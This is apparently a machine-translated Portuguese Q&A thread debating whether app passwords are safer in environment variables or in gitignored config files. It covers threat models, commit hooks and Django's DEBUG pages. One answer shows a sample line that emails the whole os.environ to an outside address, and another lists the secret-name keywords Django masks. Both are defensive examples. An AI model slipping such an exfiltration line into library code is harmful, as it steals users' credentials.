É seguro armazenar senhas como variáveis ​​de ambiente (em vez de texto simples) em arquivos de configuração?

Eu trabalho em alguns aplicativos em rails, django (e um pouco de php), e uma das coisas que comecei a fazer em alguns deles foi armazenar banco de dados e outras senhas como variáveis ​​de ambiente em vez de texto simples em certos arquivos de configuração ( ou em settings.py, para aplicativos django).

Ao discutir isso com um de meus colaboradores, ele sugeriu que esta é uma prática ruim - que talvez não seja tão perfeitamente segura quanto pode parecer à primeira vista.

Portanto, gostaria de saber - esta é uma prática segura? É mais seguro armazenar senhas como texto simples nesses arquivos (certificando-se, é claro, de não deixar esses arquivos em repositórios públicos ou algo assim)?

Em um nível mais teórico, tendo a pensar sobre os níveis de segurança das seguintes maneiras (em ordem de força crescente):

• Sem segurança. Texto simples. Qualquer pessoa que saiba onde procurar pode acessar os dados.
• Segurança por Ofuscação. Você armazena os dados (texto simples) em algum lugar complicado, como uma variável de ambiente, ou em um arquivo que deve se parecer com um arquivo de configuração. Um invasor acabará descobrindo o que está acontecendo ou tropeçará nisso.
• Segurança fornecida por criptografia trivial de quebrar (pense em cifra de César!).
• Segurança fornecida por criptografia que pode ser quebrada com algum esforço.
• Segurança fornecida por criptografia que é impraticável para quebrar um determinado hardware atual.
• O sistema mais seguro é aquele que ninguém pode usar! :)

Variáveis ​​de ambiente são mais seguras do que arquivos de texto simples, porque são voláteis / descartáveis, não salvos; ou seja, se você definir apenas uma variável de ambiente local, como "definir pwd = qualquer coisa" e, em seguida, executar o script, com algo que sai do seu shell de comando no final do script, então a variável não existe mais. Seu caso se enquadra nas duas primeiras, que eu diria que são bastante inseguras. Se você fosse fazer isso, eu não recomendaria a implantação fora de sua intranet / rede doméstica imediata, e apenas para fins de teste.

Como mencionado antes, os dois métodos não fornecem nenhuma camada de "segurança" adicional uma vez que o sistema está comprometido. Eu acredito que uma das razões mais fortes para favorecer as variáveis ​​de ambiente é o controle de versão : eu vi muitas configurações de banco de dados etc. sendo acidentalmente armazenadas no sistema de controle de versão como o GIT para qualquer outro desenvolvedor ver (e opa! Aconteceu com eu também ...).

Não armazenar suas senhas em arquivos torna impossível que sejam armazenadas no sistema de controle de versão.

Sempre que você precisa armazenar uma senha, ela não é segura. Período. Não há como armazenar uma senha não criptografada com segurança. Agora, qual das variáveis ​​de ambiente vs. arquivos de configuração é mais "seguro", talvez seja discutível. IMHO, se o seu sistema está comprometido, não importa onde ele está armazenado, um hacker diligente pode rastreá-lo.

Desculpe, não tive representantes suficientes para comentar, mas também gostaria de acrescentar que, se você não tomar cuidado, seu shell pode capturar essa senha em seu histórico de comandos também. Portanto, executar algo como $ pwd=mypassword my_progmanualmente não é tão efêmero quanto você esperava.

Acho que, quando possível, você deve armazenar suas credenciais em um arquivo gitignored e não como variáveis ​​de ambiente.

Uma das coisas a se considerar ao armazenar credenciais em variáveis ​​ENV (ambiente) versus um arquivo é que as variáveis ​​ENV podem ser facilmente inspecionadas por qualquer biblioteca ou dependência que você usar.

Isso pode ser feito de forma maliciosa ou não. Por exemplo, um autor de biblioteca poderia enviar por e-mail rastreamentos de pilha mais as variáveis ​​ENV para si mesmo para depuração (não é a melhor prática, mas é possível fazer).

Se suas credenciais estiverem em um arquivo, é muito mais difícil acessá-las.

Especificamente, pense em um npm no nó. Para um npm verificar se as suas credenciais estão no ENV é uma questão simples de process.ENV. Se, por outro lado, eles estiverem em um arquivo, é muito mais trabalhoso.

Se o seu arquivo de credenciais é controlado por versão ou não, é uma questão à parte. O não controle de versão de seu arquivo de credenciais o expõe a menos pessoas. Não há necessidade de todos os desenvolvedores saberem as credenciais de produção. Visto que isso segue o princípio do menor privilégio, eu sugeriria git ignorando seu arquivo de credenciais.

Depende do seu modelo de ameaça.

Você está tentando impedir que seus usuários espalhem senhas por todos os sistemas de arquivos, onde provavelmente serão esquecidas e maltratadas? Nesse caso, sim, porque as variáveis ​​ambientais são menos persistentes do que os arquivos.

Você está tentando se proteger contra algo malicioso que tem como alvo direto seu programa? Se sim, então não, porque as variáveis ​​de ambiente não têm o mesmo nível de controle de acesso que os arquivos.

Pessoalmente, acho que usuários negligentes são mais comuns do que adversários motivados, então eu escolheria a abordagem de variável de ambiente.

AFAICT, há duas razões pelas quais as pessoas recomendam armazenar segredos em variáveis ​​de ambiente:

1. É muito fácil enviar inadvertidamente arquivos simples secretos para um repositório. (E se for um repositório público, você está frito.)
2. Ele evita a confusão de senhas, ou seja, ter a mesma chave em muitos arquivos de diretório de projeto diferentes é em si um risco de segurança, pois os desenvolvedores acabarão perdendo o controle de onde os segredos estão localizados.

Esses dois problemas podem ser resolvidos de maneiras melhores. O primeiro deve ser resolvido por um gancho de commit git que verifica as coisas que se parecem com senhas (por exemplo, gitleaks ). Gostaria que Linus construísse tal ferramenta no código-fonte da biblioteca git, mas, infelizmente, isso não aconteceu. (Não é preciso dizer que os arquivos secretos sempre devem ser adicionados .gitignore, mas você precisa de um gancho caso alguém se esqueça de fazer isso.)

O último pode ser resolvido com um arquivo global de segredos da empresa, que é armazenado idealmente em uma unidade compartilhada somente leitura. Portanto, em Python, você poderia ter algo como from company_secrets import *.

Mais importante, como apontado por outros, é muito fácil hackear segredos armazenados em variáveis ​​de ambiente. Por exemplo, em Python, um autor de biblioteca poderia inserir send_email(address="[email protected]", text=json.dumps(os.environ))e você estará frito se executar este código. Hackear é muito mais desafiador se você tiver um arquivo chamado em seu sistema ~/secret_company_stuff/.my_very_secret_company_stuff.

Apenas para usuários Django:
Django (no modo DEBUG) mostra o valor bruto de uma variável de ambiente no navegador se houver uma exceção (no modo DEBUG). Isso parece altamente inseguro se, por exemplo, um desenvolvedor entrar DEBUG=Trueem produção acidentalmente . Em contraste, o Django faz Ofuscação variáveis configurações de senha olhando para as cordas API, TOKEN, KEY, SECRET, PASSou SIGNATUREna de enquadramento settings.pynomes de variáveis do arquivo.